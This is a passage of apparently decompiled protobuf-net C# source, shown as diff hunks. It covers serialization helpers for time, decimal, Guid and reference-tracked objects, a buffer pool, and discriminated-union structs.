}
SubItemToken token = ProtoWriter.StartSubItem(null, dest);
if (num != 0L)
{
ProtoWriter.WriteFieldHeader(1, WireType.SignedVariant, dest);
ProtoWriter.WriteInt64(num, dest);
}
if (timeSpanScale != TimeSpanScale.Days)
{
ProtoWriter.WriteFieldHeader(2, WireType.Variant, dest);
ProtoWriter.WriteInt32((int)timeSpanScale, dest);
}
if (kind != DateTimeKind.Unspecified)
{
ProtoWriter.WriteFieldHeader(3, WireType.Variant, dest);
ProtoWriter.WriteInt32((int)kind, dest);
}
ProtoWriter.EndSubItem(token, dest);
break;
}
case WireType.Fixed64:
ProtoWriter.WriteInt64(timeSpan.Ticks, dest);
break;
default:
throw new ProtoException("Unexpected wire-type: " + dest.WireType);
}
}
public static TimeSpan ReadTimeSpan(ProtoReader source)
{
DateTimeKind kind;
long num = ReadTimeSpanTicks(source, out kind);
return num switch
{
long.MinValue => TimeSpan.MinValue,
long.MaxValue => TimeSpan.MaxValue,
_ => TimeSpan.FromTicks(num),
};
}
public static TimeSpan ReadDuration(ProtoReader source)
{
long seconds = 0L;
int nanos = 0;
SubItemToken token = ProtoReader.StartSubItem(source);
int num;
while ((num = source.ReadFieldHeader()) > 0)
{
switch (num)
{
case 1:
seconds = source.ReadInt64();
break;
case 2:
nanos = source.ReadInt32();
break;
default:
source.SkipField();
break;
}
}
ProtoReader.EndSubItem(token, source);
return FromDurationSeconds(seconds, nanos);
}
public static void WriteDuration(TimeSpan value, ProtoWriter dest)
{
int nanos;
long seconds = ToDurationSeconds(value, out nanos);
WriteSecondsNanos(seconds, nanos, dest);
}
private static void WriteSecondsNanos(long seconds, int nanos, ProtoWriter dest)
{
SubItemToken token = ProtoWriter.StartSubItem(null, dest);
if (seconds != 0L)
{
ProtoWriter.WriteFieldHeader(1, WireType.Variant, dest);
ProtoWriter.WriteInt64(seconds, dest);
}
if (nanos != 0)
{
ProtoWriter.WriteFieldHeader(2, WireType.Variant, dest);
ProtoWriter.WriteInt32(nanos, dest);
}
ProtoWriter.EndSubItem(token, dest);
}
public static DateTime ReadTimestamp(ProtoReader source)
{
return TimestampEpoch + ReadDuration(source);
}
public static void WriteTimestamp(DateTime value, ProtoWriter dest)
{
int nanos;
long num = ToDurationSeconds(value - TimestampEpoch, out nanos);
if (nanos < 0)
{
num--;
nanos += 1000000000;
}
WriteSecondsNanos(num, nanos, dest);
}
private static TimeSpan FromDurationSeconds(long seconds, int nanos)
{
checked
{
long value = seconds * 10000000 + unchecked(checked(unchecked((long)nanos) * 10000L) / 1000000);
return TimeSpan.FromTicks(value);
}
}
private static long ToDurationSeconds(TimeSpan value, out int nanos)
{
nanos = (int)(value.Ticks % 10000000 * 1000000 / 10000);
return value.Ticks / 10000000;
}
public static DateTime ReadDateTime(ProtoReader source)
{
DateTimeKind kind;
long num = ReadTimeSpanTicks(source, out kind);
return num switch
{
long.MinValue => DateTime.MinValue,
long.MaxValue => DateTime.MaxValue,
_ => EpochOrigin[(int)kind].AddTicks(num),
};
}
public static void WriteDateTime(DateTime value, ProtoWriter dest)
{
WriteDateTimeImpl(value, dest, includeKind: false);
}
public static void WriteDateTimeWithKind(DateTime value, ProtoWriter dest)
{
WriteDateTimeImpl(value, dest, includeKind: true);
}
private static void WriteDateTimeImpl(DateTime value, ProtoWriter dest, bool includeKind)
{
if (dest == null)
{
throw new ArgumentNullException("dest");
}
WireType wireType = dest.WireType;
TimeSpan timeSpan;
if ((uint)(wireType - 2) <= 1u)
{
if (value == DateTime.MaxValue)
{
timeSpan = TimeSpan.MaxValue;
includeKind = false;
}
else if (value == DateTime.MinValue)
{
timeSpan = TimeSpan.MinValue;
includeKind = false;
}
else
{
timeSpan = value - EpochOrigin[0];
}
}
else
{
timeSpan = value - EpochOrigin[0];
}
WriteTimeSpanImpl(timeSpan, dest, includeKind ? value.Kind : DateTimeKind.Unspecified);
}
private static long ReadTimeSpanTicks(ProtoReader source, out DateTimeKind kind)
{
kind = DateTimeKind.Unspecified;
switch (source.WireType)
{
case WireType.String:
case WireType.StartGroup:
{
SubItemToken token = ProtoReader.StartSubItem(source);
TimeSpanScale timeSpanScale = TimeSpanScale.Days;
long num = 0L;
int num2;
while ((num2 = source.ReadFieldHeader()) > 0)
{
switch (num2)
{
case 2:
timeSpanScale = (TimeSpanScale)source.ReadInt32();
break;
case 1:
source.Assert(WireType.SignedVariant);
num = source.ReadInt64();
break;
case 3:
{
kind = (DateTimeKind)source.ReadInt32();
DateTimeKind dateTimeKind = kind;
if ((uint)dateTimeKind > 2u)
{
throw new ProtoException("Invalid date/time kind: " + kind);
}
break;
}
default:
source.SkipField();
break;
}
}
ProtoReader.EndSubItem(token, source);
return timeSpanScale switch
{
TimeSpanScale.Days => num * 864000000000L,
TimeSpanScale.Hours => num * 36000000000L,
TimeSpanScale.Minutes => num * 600000000,
TimeSpanScale.Seconds => num * 10000000,
TimeSpanScale.Milliseconds => num * 10000,
TimeSpanScale.Ticks => num,
TimeSpanScale.MinMax => num switch
{
1L => long.MaxValue,
-1L => long.MinValue,
_ => throw new ProtoException("Unknown min/max value: " + num),
},
_ => throw new ProtoException("Unknown timescale: " + timeSpanScale),
};
}
case WireType.Fixed64:
return source.ReadInt64();
default:
throw new ProtoException("Unexpected wire-type: " + source.WireType);
}
}
public static decimal ReadDecimal(ProtoReader reader)
{
ulong num = 0uL;
uint num2 = 0u;
uint num3 = 0u;
SubItemToken token = ProtoReader.StartSubItem(reader);
int num4;
while ((num4 = reader.ReadFieldHeader()) > 0)
{
switch (num4)
{
case 1:
num = reader.ReadUInt64();
break;
case 2:
num2 = reader.ReadUInt32();
break;
case 3:
num3 = reader.ReadUInt32();
break;
default:
reader.SkipField();
break;
}
}
ProtoReader.EndSubItem(token, reader);
int lo = (int)(num & 0xFFFFFFFFu);
int mid = (int)((num >> 32) & 0xFFFFFFFFu);
int hi = (int)num2;
bool isNegative = (num3 & 1) == 1;
byte scale = (byte)((num3 & 0x1FE) >> 1);
return new decimal(lo, mid, hi, isNegative, scale);
}
public static void WriteDecimal(decimal value, ProtoWriter writer)
{
int[] bits = decimal.GetBits(value);
ulong num = (ulong)((long)bits[1] << 32);
ulong num2 = (ulong)(bits[0] & 0xFFFFFFFFu);
ulong num3 = num | num2;
uint num4 = (uint)bits[2];
uint num5 = (uint)(((bits[3] >> 15) & 0x1FE) | ((bits[3] >> 31) & 1));
SubItemToken token = ProtoWriter.StartSubItem(null, writer);
if (num3 != 0L)
{
ProtoWriter.WriteFieldHeader(1, WireType.Variant, writer);
ProtoWriter.WriteUInt64(num3, writer);
}
if (num4 != 0)
{
ProtoWriter.WriteFieldHeader(2, WireType.Variant, writer);
ProtoWriter.WriteUInt32(num4, writer);
}
if (num5 != 0)
{
ProtoWriter.WriteFieldHeader(3, WireType.Variant, writer);
ProtoWriter.WriteUInt32(num5, writer);
}
ProtoWriter.EndSubItem(token, writer);
}
public static void WriteGuid(Guid value, ProtoWriter dest)
{
byte[] data = value.ToByteArray();
SubItemToken token = ProtoWriter.StartSubItem(null, dest);
if (value != Guid.Empty)
{
ProtoWriter.WriteFieldHeader(1, WireType.Fixed64, dest);
ProtoWriter.WriteBytes(data, 0, 8, dest);
ProtoWriter.WriteFieldHeader(2, WireType.Fixed64, dest);
ProtoWriter.WriteBytes(data, 8, 8, dest);
}
ProtoWriter.EndSubItem(token, dest);
}
public static Guid ReadGuid(ProtoReader source)
{
ulong num = 0uL;
ulong num2 = 0uL;
SubItemToken token = ProtoReader.StartSubItem(source);
int num3;
while ((num3 = source.ReadFieldHeader()) > 0)
{
switch (num3)
{
case 1:
num = source.ReadUInt64();
break;
case 2:
num2 = source.ReadUInt64();
break;
default:
source.SkipField();
break;
}
}
ProtoReader.EndSubItem(token, source);
if (num == 0L && num2 == 0L)
{
return Guid.Empty;
}
uint num4 = (uint)(num >> 32);
uint a = (uint)num;
uint num5 = (uint)(num2 >> 32);
uint num6 = (uint)num2;
return new Guid((int)a, (short)num4, (short)(num4 >> 16), (byte)num6, (byte)(num6 >> 8), (byte)(num6 >> 16), (byte)(num6 >> 24), (byte)num5, (byte)(num5 >> 8), (byte)(num5 >> 16), (byte)(num5 >> 24));
}
public static object ReadNetObject(object value, ProtoReader source, int key, Type type, NetObjectOptions options)
{
SubItemToken token = ProtoReader.StartSubItem(source);
int num = -1;
int num2 = -1;
int num3;
while ((num3 = source.ReadFieldHeader()) > 0)
{
switch (num3)
{
case 1:
{
int key2 = source.ReadInt32();
value = source.NetCache.GetKeyedObject(key2);
break;
}
case 2:
num = source.ReadInt32();
break;
case 3:
{
int key2 = source.ReadInt32();
type = (Type)source.NetCache.GetKeyedObject(key2);
key = source.GetTypeKey(ref type);
break;
}
case 4:
num2 = source.ReadInt32();
break;
case 8:
{
string text = source.ReadString();
type = source.DeserializeType(text);
if ((object)type == null)
{
throw new ProtoException("Unable to resolve type: " + text + " (you can use the TypeModel.DynamicTypeFormatting event to provide a custom mapping)");
}
if ((object)type == typeof(string))
{
key = -1;
break;
}
key = source.GetTypeKey(ref type);
if (key >= 0)
{
break;
}
throw new InvalidOperationException("Dynamic type is not a contract-type: " + type.Name);
}
case 10:
{
bool flag = (object)type == typeof(string);
bool flag2 = value == null;
bool flag3 = flag2 && (flag || (options & NetObjectOptions.LateSet) != 0);
if (num >= 0 && !flag3)
{
if (value == null)
{
source.TrapNextObject(num);
}
else
{
source.NetCache.SetKeyedObject(num, value);
}
if (num2 >= 0)
{
source.NetCache.SetKeyedObject(num2, type);
}
}
object obj = value;
value = ((!flag) ? ProtoReader.ReadTypedObject(obj, key, source, type) : source.ReadString());
if (num >= 0)
{
if (flag2 && !flag3)
{
obj = source.NetCache.GetKeyedObject(num);
}
if (flag3)
{
source.NetCache.SetKeyedObject(num, value);
if (num2 >= 0)
{
source.NetCache.SetKeyedObject(num2, type);
}
}
}
if (num >= 0 && !flag3 && obj != value)
{
throw new ProtoException("A reference-tracked object changed reference during deserialization");
}
if (num < 0 && num2 >= 0)
{
source.NetCache.SetKeyedObject(num2, type);
}
break;
}
default:
source.SkipField();
break;
}
}
if (num >= 0 && (options & NetObjectOptions.AsReference) == 0)
{
throw new ProtoException("Object key in input stream, but reference-tracking was not expected");
}
ProtoReader.EndSubItem(token, source);
return value;
}
public static void WriteNetObject(object value, ProtoWriter dest, int key, NetObjectOptions options)
{
if (dest == null)
{
throw new ArgumentNullException("dest");
}
bool flag = (options & NetObjectOptions.DynamicType) != 0;
bool flag2 = (options & NetObjectOptions.AsReference) != 0;
WireType wireType = dest.WireType;
SubItemToken token = ProtoWriter.StartSubItem(null, dest);
bool flag3 = true;
if (flag2)
{
bool existing;
int value2 = dest.NetCache.AddObjectKey(value, out existing);
ProtoWriter.WriteFieldHeader(existing ? 1 : 2, WireType.Variant, dest);
ProtoWriter.WriteInt32(value2, dest);
if (existing)
{
flag3 = false;
}
}
if (flag3)
{
if (flag)
{
Type type = value.GetType();
if (!(value is string))
{
key = dest.GetTypeKey(ref type);
if (key < 0)
{
throw new InvalidOperationException("Dynamic type is not a contract-type: " + type.Name);
}
}
bool existing2;
int value3 = dest.NetCache.AddObjectKey(type, out existing2);
ProtoWriter.WriteFieldHeader(existing2 ? 3 : 4, WireType.Variant, dest);
ProtoWriter.WriteInt32(value3, dest);
if (!existing2)
{
ProtoWriter.WriteFieldHeader(8, WireType.String, dest);
ProtoWriter.WriteString(dest.SerializeType(type), dest);
}
}
ProtoWriter.WriteFieldHeader(10, wireType, dest);
if (value is string)
{
ProtoWriter.WriteString((string)value, dest);
}
else
{
ProtoWriter.WriteObject(value, key, dest);
}
}
ProtoWriter.EndSubItem(token, dest);
}
}
@@ -0,0 +1,66 @@
using System;
using System.IO;
namespace ProtoBuf;
public sealed class BufferExtension : IExtension, IExtensionResettable
{
private byte[] buffer;
void IExtensionResettable.Reset()
{
buffer = null;
}
int IExtension.GetLength()
{
if (buffer != null)
{
return buffer.Length;
}
return 0;
}
Stream IExtension.BeginAppend()
{
return new MemoryStream();
}
void IExtension.EndAppend(Stream stream, bool commit)
{
using (stream)
{
int num;
if (commit && (num = (int)stream.Length) > 0)
{
MemoryStream memoryStream = (MemoryStream)stream;
if (buffer == null)
{
buffer = memoryStream.ToArray();
return;
}
int num2 = buffer.Length;
byte[] dst = new byte[num2 + num];
Buffer.BlockCopy(buffer, 0, dst, 0, num2);
Buffer.BlockCopy(Helpers.GetBuffer(memoryStream), 0, dst, num2, num);
buffer = dst;
}
}
}
Stream IExtension.BeginQuery()
{
if (buffer != null)
{
return new MemoryStream(buffer);
}
return Stream.Null;
}
void IExtension.EndQuery(Stream stream)
{
using (stream)
{
}
}
}
@@ -0,0 +1,139 @@
using System;
namespace ProtoBuf;
internal sealed class BufferPool
{
private class CachedBuffer
{
private readonly WeakReference _reference;
public int Size { get; }
public bool IsAlive => _reference.IsAlive;
public byte[] Buffer => (byte[])_reference.Target;
public CachedBuffer(byte[] buffer)
{
Size = buffer.Length;
_reference = new WeakReference(buffer);
}
}
private const int POOL_SIZE = 20;
internal const int BUFFER_LENGTH = 1024;
private static readonly CachedBuffer[] Pool = new CachedBuffer[20];
private const int MaxByteArraySize = 2147483591;
internal static void Flush()
{
lock (Pool)
{
for (int i = 0; i < Pool.Length; i++)
{
Pool[i] = null;
}
}
}
private BufferPool()
{
}
internal static byte[] GetBuffer()
{
return GetBuffer(1024);
}
internal static byte[] GetBuffer(int minSize)
{
byte[] cachedBuffer = GetCachedBuffer(minSize);
return cachedBuffer ?? new byte[minSize];
}
internal static byte[] GetCachedBuffer(int minSize)
{
lock (Pool)
{
int num = -1;
byte[] array = null;
for (int i = 0; i < Pool.Length; i++)
{
CachedBuffer cachedBuffer = Pool[i];
if (cachedBuffer != null && cachedBuffer.Size >= minSize && (array == null || array.Length >= cachedBuffer.Size))
{
byte[] buffer = cachedBuffer.Buffer;
if (buffer == null)
{
Pool[i] = null;
continue;
}
array = buffer;
num = i;
}
}
if (num >= 0)
{
Pool[num] = null;
}
return array;
}
}
internal static void ResizeAndFlushLeft(ref byte[] buffer, int toFitAtLeastBytes, int copyFromIndex, int copyBytes)
{
int num = buffer.Length * 2;
if (num < 0)
{
num = 2147483591;
}
if (num < toFitAtLeastBytes)
{
num = toFitAtLeastBytes;
}
if (copyBytes == 0)
{
ReleaseBufferToPool(ref buffer);
}
byte[] array = GetCachedBuffer(toFitAtLeastBytes) ?? new byte[num];
if (copyBytes > 0)
{
Buffer.BlockCopy(buffer, copyFromIndex, array, 0, copyBytes);
ReleaseBufferToPool(ref buffer);
}
buffer = array;
}
internal static void ReleaseBufferToPool(ref byte[] buffer)
{
if (buffer == null)
{
return;
}
lock (Pool)
{
int num = 0;
int num2 = int.MaxValue;
for (int i = 0; i < Pool.Length; i++)
{
CachedBuffer cachedBuffer = Pool[i];
if (cachedBuffer == null || !cachedBuffer.IsAlive)
{
num = 0;
break;
}
if (cachedBuffer.Size < num2)
{
num = i;
num2 = cachedBuffer.Size;
}
}
Pool[num] = new CachedBuffer(buffer);
}
buffer = null;
}
}
@@ -0,0 +1,11 @@
namespace ProtoBuf;
public enum DataFormat
{
Default,
ZigZag,
TwosComplement,
FixedSize,
Group,
WellKnown
}
@@ -0,0 +1,184 @@
using System;
using System.Runtime.InteropServices;
using System.Runtime.Serialization;
namespace ProtoBuf;
[Serializable]
[StructLayout(LayoutKind.Explicit)]
public readonly struct DiscriminatedUnion128 : ISerializable
{
[FieldOffset(0)]
private readonly int _discriminator;
[FieldOffset(8)]
public readonly long Int64;
[FieldOffset(8)]
public readonly ulong UInt64;
[FieldOffset(8)]
public readonly int Int32;
[FieldOffset(8)]
public readonly uint UInt32;
[FieldOffset(8)]
public readonly bool Boolean;
[FieldOffset(8)]
public readonly float Single;
[FieldOffset(8)]
public readonly double Double;
[FieldOffset(8)]
public readonly DateTime DateTime;
[FieldOffset(8)]
public readonly TimeSpan TimeSpan;
[FieldOffset(8)]
public readonly Guid Guid;
[FieldOffset(8)]
private readonly long _lo;
[FieldOffset(16)]
private readonly long _hi;
public int Discriminator => _discriminator;
unsafe static DiscriminatedUnion128()
{
if (sizeof(DateTime) > 16)
{
throw new InvalidOperationException("DateTime was unexpectedly too big for DiscriminatedUnion128");
}
if (sizeof(TimeSpan) > 16)
{
throw new InvalidOperationException("TimeSpan was unexpectedly too big for DiscriminatedUnion128");
}
if (sizeof(Guid) > 16)
{
throw new InvalidOperationException("Guid was unexpectedly too big for DiscriminatedUnion128");
}
}
private DiscriminatedUnion128(int discriminator)
{
this = default(DiscriminatedUnion128);
_discriminator = discriminator;
}
public bool Is(int discriminator)
{
return _discriminator == discriminator;
}
public DiscriminatedUnion128(int discriminator, long value)
: this(discriminator)
{
Int64 = value;
}
public DiscriminatedUnion128(int discriminator, int value)
: this(discriminator)
{
Int32 = value;
}
public DiscriminatedUnion128(int discriminator, ulong value)
: this(discriminator)
{
UInt64 = value;
}
public DiscriminatedUnion128(int discriminator, uint value)
: this(discriminator)
{
UInt32 = value;
}
public DiscriminatedUnion128(int discriminator, float value)
: this(discriminator)
{
Single = value;
}
public DiscriminatedUnion128(int discriminator, double value)
: this(discriminator)
{
Double = value;
}
public DiscriminatedUnion128(int discriminator, bool value)
: this(discriminator)
{
Boolean = value;
}
public DiscriminatedUnion128(int discriminator, DateTime? value)
: this(value.HasValue ? discriminator : 0)
{
DateTime = value.GetValueOrDefault();
}
public DiscriminatedUnion128(int discriminator, TimeSpan? value)
: this(value.HasValue ? discriminator : 0)
{
TimeSpan = value.GetValueOrDefault();
}
public DiscriminatedUnion128(int discriminator, Guid? value)
: this(value.HasValue ? discriminator : 0)
{
Guid = value.GetValueOrDefault();
}
public static void Reset(ref DiscriminatedUnion128 value, int discriminator)
{
if (value.Discriminator == discriminator)
{
value = default(DiscriminatedUnion128);
}
}
void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context)
{
if (_discriminator != 0)
{
info.AddValue("d", _discriminator);
}
if (_lo != 0L)
{
info.AddValue("l", _lo);
}
if (_hi != 0L)
{
info.AddValue("h", _hi);
}
}
private DiscriminatedUnion128(SerializationInfo info, StreamingContext context)
{
this = default(DiscriminatedUnion128);
SerializationInfoEnumerator enumerator = info.GetEnumerator();
while (enumerator.MoveNext())
{
SerializationEntry current = enumerator.Current;
switch (current.Name)
{
case "d":
_discriminator = (int)current.Value;
break;
case "l":
_lo = (long)current.Value;
break;
case "h":
_hi = (long)current.Value;
break;
}
}
}
}
@@ -0,0 +1,200 @@
using System;
using System.Runtime.InteropServices;
using System.Runtime.Serialization;
namespace ProtoBuf;
[Serializable]
[StructLayout(LayoutKind.Explicit)]
public readonly struct DiscriminatedUnion128Object : ISerializable
{
[FieldOffset(0)]
private readonly int _discriminator;
[FieldOffset(8)]
public readonly long Int64;
[FieldOffset(8)]
public readonly ulong UInt64;
[FieldOffset(8)]
public readonly int Int32;
[FieldOffset(8)]
public readonly uint UInt32;
[FieldOffset(8)]
public readonly bool Boolean;
[FieldOffset(8)]
public readonly float Single;
[FieldOffset(8)]
public readonly double Double;
[FieldOffset(8)]
public readonly DateTime DateTime;
[FieldOffset(8)]
public readonly TimeSpan TimeSpan;
[FieldOffset(8)]
public readonly Guid Guid;
[FieldOffset(24)]
public readonly object Object;
[FieldOffset(8)]
private readonly long _lo;
[FieldOffset(16)]
private readonly long _hi;
public int Discriminator => _discriminator;
unsafe static DiscriminatedUnion128Object()
{
if (sizeof(DateTime) > 16)
{
throw new InvalidOperationException("DateTime was unexpectedly too big for DiscriminatedUnion128Object");
}
if (sizeof(TimeSpan) > 16)
{
throw new InvalidOperationException("TimeSpan was unexpectedly too big for DiscriminatedUnion128Object");
}
if (sizeof(Guid) > 16)
{
throw new InvalidOperationException("Guid was unexpectedly too big for DiscriminatedUnion128Object");
}
}
private DiscriminatedUnion128Object(int discriminator)
{
this = default(DiscriminatedUnion128Object);
_discriminator = discriminator;
}
public bool Is(int discriminator)
{
return _discriminator == discriminator;
}
public DiscriminatedUnion128Object(int discriminator, long value)
: this(discriminator)
{
Int64 = value;
}
public DiscriminatedUnion128Object(int discriminator, int value)
: this(discriminator)
{
Int32 = value;
}
public DiscriminatedUnion128Object(int discriminator, ulong value)
: this(discriminator)
{
UInt64 = value;
}
public DiscriminatedUnion128Object(int discriminator, uint value)
: this(discriminator)
{
UInt32 = value;
}
public DiscriminatedUnion128Object(int discriminator, float value)
: this(discriminator)
{
Single = value;
}
public DiscriminatedUnion128Object(int discriminator, double value)
: this(discriminator)
{
Double = value;
}
public DiscriminatedUnion128Object(int discriminator, bool value)
: this(discriminator)
{
Boolean = value;
}
public DiscriminatedUnion128Object(int discriminator, object value)
: this((value != null) ? discriminator : 0)
{
Object = value;
}
public DiscriminatedUnion128Object(int discriminator, DateTime? value)
: this(value.HasValue ? discriminator : 0)
{
DateTime = value.GetValueOrDefault();
}
public DiscriminatedUnion128Object(int discriminator, TimeSpan? value)
: this(value.HasValue ? discriminator : 0)
{
TimeSpan = value.GetValueOrDefault();
}
public DiscriminatedUnion128Object(int discriminator, Guid? value)
: this(value.HasValue ? discriminator : 0)
{
Guid = value.GetValueOrDefault();
}
public static void Reset(ref DiscriminatedUnion128Object value, int discriminator)
{
if (value.Discriminator == discriminator)
{
value = default(DiscriminatedUnion128Object);
}
}
void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context)
{
if (_discriminator != 0)
{
info.AddValue("d", _discriminator);
}
if (_lo != 0L)
{
info.AddValue("l", _lo);
}
if (_hi != 0L)
{
info.AddValue("h", _hi);
}
if (Object != null)
{
info.AddValue("o", Object);
}
}
private DiscriminatedUnion128Object(SerializationInfo info, StreamingContext context)
{
this = default(DiscriminatedUnion128Object);
SerializationInfoEnumerator enumerator = info.GetEnumerator();
while (enumerator.MoveNext())
{
SerializationEntry current = enumerator.Current;
switch (current.Name)
{
case "d":
_discriminator = (int)current.Value;
break;
case "l":
_lo = (long)current.Value;
break;
case "h":
_hi = (long)current.Value;
break;
case "o":
Object = current.Value;
break;
}
}
}
}
@@ -0,0 +1,104 @@
using System;
using System.Runtime.InteropServices;
using System.Runtime.Serialization;
namespace ProtoBuf;
[Serializable]
[StructLayout(LayoutKind.Explicit)]
public readonly struct DiscriminatedUnion32 : ISerializable
{
[FieldOffset(0)]
private readonly int _discriminator;
[FieldOffset(4)]
public readonly int Int32;
[FieldOffset(4)]
public readonly uint UInt32;
[FieldOffset(4)]
public readonly bool Boolean;
[FieldOffset(4)]
public readonly float Single;
public int Discriminator => _discriminator;
private DiscriminatedUnion32(int discriminator)
{
this = default(DiscriminatedUnion32);
_discriminator = discriminator;
}
public bool Is(int discriminator)
{
return _discriminator == discriminator;
}
public DiscriminatedUnion32(int discriminator, int value)
: this(discriminator)
{
Int32 = value;
}
public DiscriminatedUnion32(int discriminator, uint value)
: this(discriminator)
{
UInt32 = value;
}
public DiscriminatedUnion32(int discriminator, float value)
: this(discriminator)
{
Single = value;
}
public DiscriminatedUnion32(int discriminator, bool value)
: this(discriminator)
{
Boolean = value;
}
public static void Reset(ref DiscriminatedUnion32 value, int discriminator)
{
if (value.Discriminator == discriminator)
{
value = default(DiscriminatedUnion32);
}
}
void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context)
{
if (_discriminator != 0)
{
info.AddValue("d", _discriminator);
}
if (Int32 != 0)
{
info.AddValue("i", Int32);
}
}
private DiscriminatedUnion32(SerializationInfo info, StreamingContext context)
{
this = default(DiscriminatedUnion32);
SerializationInfoEnumerator enumerator = info.GetEnumerator();
while (enumerator.MoveNext())
{
SerializationEntry current = enumerator.Current;
string name = current.Name;
if (!(name == "d"))
{
if (name == "i")
{
Int32 = (int)current.Value;
}
}
else
{
_discriminator = (int)current.Value;
}
}
}
}
@@ -0,0 +1,117 @@
using System;
using System.Runtime.InteropServices;
using System.Runtime.Serialization;
namespace ProtoBuf;
[Serializable]
[StructLayout(LayoutKind.Explicit)]
public readonly struct DiscriminatedUnion32Object : ISerializable
{
[FieldOffset(0)]
private readonly int _discriminator;
[FieldOffset(4)]
public readonly int Int32;
[FieldOffset(4)]
public readonly uint UInt32;
[FieldOffset(4)]
public readonly bool Boolean;
[FieldOffset(4)]
public readonly float Single;
[FieldOffset(8)]
public readonly object Object;
public int Discriminator => _discriminator;
private DiscriminatedUnion32Object(int discriminator)
{
this = default(DiscriminatedUnion32Object);
_discriminator = discriminator;
}
public bool Is(int discriminator)
{
return _discriminator == discriminator;
}
public DiscriminatedUnion32Object(int discriminator, int value)
: this(discriminator)
{
Int32 = value;
}
public DiscriminatedUnion32Object(int discriminator, uint value)
: this(discriminator)
{
UInt32 = value;
}
public DiscriminatedUnion32Object(int discriminator, float value)
: this(discriminator)
{
Single = value;
}
public DiscriminatedUnion32Object(int discriminator, bool value)
: this(discriminator)
{
Boolean = value;
}
public DiscriminatedUnion32Object(int discriminator, object value)
: this((value != null) ? discriminator : 0)
{
Object = value;
}
public static void Reset(ref DiscriminatedUnion32Object value, int discriminator)
{
if (value.Discriminator == discriminator)
{
value = default(DiscriminatedUnion32Object);
}
}
void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context)
{
if (_discriminator != 0)
{
info.AddValue("d", _discriminator);
}
if (Int32 != 0)
{
info.AddValue("i", Int32);
}
if (Object != null)
{
info.AddValue("o", Object);
}
}
private DiscriminatedUnion32Object(SerializationInfo info, StreamingContext context)
{
this = default(DiscriminatedUnion32Object);
SerializationInfoEnumerator enumerator = info.GetEnumerator();
while (enumerator.MoveNext())
{
SerializationEntry current = enumerator.Current;
switch (current.Name)
{
case "d":
_discriminator = (int)current.Value;
break;
case "i":
Int32 = (int)current.Value;
break;
case "o":
Object = current.Value;
break;
}
}
}
}
@@ -0,0 +1,161 @@
using System;
using System.Runtime.InteropServices;
using System.Runtime.Serialization;
namespace ProtoBuf;
[Serializable]
[StructLayout(LayoutKind.Explicit)]
public readonly struct DiscriminatedUnion64 : ISerializable
{
[FieldOffset(0)]
private readonly int _discriminator;
[FieldOffset(8)]
public readonly long Int64;
[FieldOffset(8)]
public readonly ulong UInt64;
[FieldOffset(8)]
public readonly int Int32;
[FieldOffset(8)]
public readonly uint UInt32;
[FieldOffset(8)]
public readonly bool Boolean;
[FieldOffset(8)]
public readonly float Single;
[FieldOffset(8)]
public readonly double Double;
[FieldOffset(8)]
public readonly DateTime DateTime;
[FieldOffset(8)]
public readonly TimeSpan TimeSpan;
public int Discriminator => _discriminator;
unsafe static DiscriminatedUnion64()
{
if (sizeof(DateTime) > 8)
{
throw new InvalidOperationException("DateTime was unexpectedly too big for DiscriminatedUnion64");
}
if (sizeof(TimeSpan) > 8)
{
throw new InvalidOperationException("TimeSpan was unexpectedly too big for DiscriminatedUnion64");
}
}
private DiscriminatedUnion64(int discriminator)
{
this = default(DiscriminatedUnion64);
_discriminator = discriminator;
}
public bool Is(int discriminator)
{
return _discriminator == discriminator;
}
public DiscriminatedUnion64(int discriminator, long value)
: this(discriminator)
{
Int64 = value;
}
public DiscriminatedUnion64(int discriminator, int value)
: this(discriminator)
{
Int32 = value;
}
public DiscriminatedUnion64(int discriminator, ulong value)
: this(discriminator)
{
UInt64 = value;
}
public DiscriminatedUnion64(int discriminator, uint value)
: this(discriminator)
{
UInt32 = value;
}
public DiscriminatedUnion64(int discriminator, float value)
: this(discriminator)
{
Single = value;
}
public DiscriminatedUnion64(int discriminator, double value)
: this(discriminator)
{
Double = value;
}
public DiscriminatedUnion64(int discriminator, bool value)
: this(discriminator)
{
Boolean = value;
}
public DiscriminatedUnion64(int discriminator, DateTime? value)
: this(value.HasValue ? discriminator : 0)
{
DateTime = value.GetValueOrDefault();
}
public DiscriminatedUnion64(int discriminator, TimeSpan? value)
: this(value.HasValue ? discriminator : 0)
{
TimeSpan = value.GetValueOrDefault();
}
public static void Reset(ref DiscriminatedUnion64 value, int discriminator)
{
if (value.Discriminator == discriminator)
{
value = default(DiscriminatedUnion64);
}
}
void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context)
{
if (_discriminator != 0)
{
info.AddValue("d", _discriminator);
}
if (Int64 != 0L)
{
info.AddValue("i", Int64);
}
}
private DiscriminatedUnion64(SerializationInfo info, StreamingContext context)
{
this = default(DiscriminatedUnion64);
SerializationInfoEnumerator enumerator = info.GetEnumerator();
while (enumerator.MoveNext())
{
SerializationEntry current = enumerator.Current;
string name = current.Name;
if (!(name == "d"))
{
if (name == "i")
{
Int64 = (long)current.Value;
}
}
else
{
_discriminator = (int)current.Value;
}
}
}
}
@@ -0,0 +1,174 @@
using System;
using System.Runtime.InteropServices;
using System.Runtime.Serialization;
namespace ProtoBuf;
[Serializable]
[StructLayout(LayoutKind.Explicit)]
public readonly struct DiscriminatedUnion64Object : ISerializable
{
[FieldOffset(0)]
private readonly int _discriminator;
[FieldOffset(8)]
public readonly long Int64;
[FieldOffset(8)]
public readonly ulong UInt64;
[FieldOffset(8)]
public readonly int Int32;
[FieldOffset(8)]
public readonly uint UInt32;
[FieldOffset(8)]
public readonly bool Boolean;
[FieldOffset(8)]
public readonly float Single;
[FieldOffset(8)]
public readonly double Double;
[FieldOffset(8)]
public readonly DateTime DateTime;
[FieldOffset(8)]
public readonly TimeSpan TimeSpan;
[FieldOffset(16)]
public readonly object Object;
public int Discriminator => _discriminator;
unsafe static DiscriminatedUnion64Object()
{
if (sizeof(DateTime) > 8)
{
throw new InvalidOperationException("DateTime was unexpectedly too big for DiscriminatedUnion64Object");
}
if (sizeof(TimeSpan) > 8)
{
throw new InvalidOperationException("TimeSpan was unexpectedly too big for DiscriminatedUnion64Object");
}
}
private DiscriminatedUnion64Object(int discriminator)
{
this = default(DiscriminatedUnion64Object);
_discriminator = discriminator;
}
public bool Is(int discriminator)
{
return _discriminator == discriminator;
}
public DiscriminatedUnion64Object(int discriminator, long value)
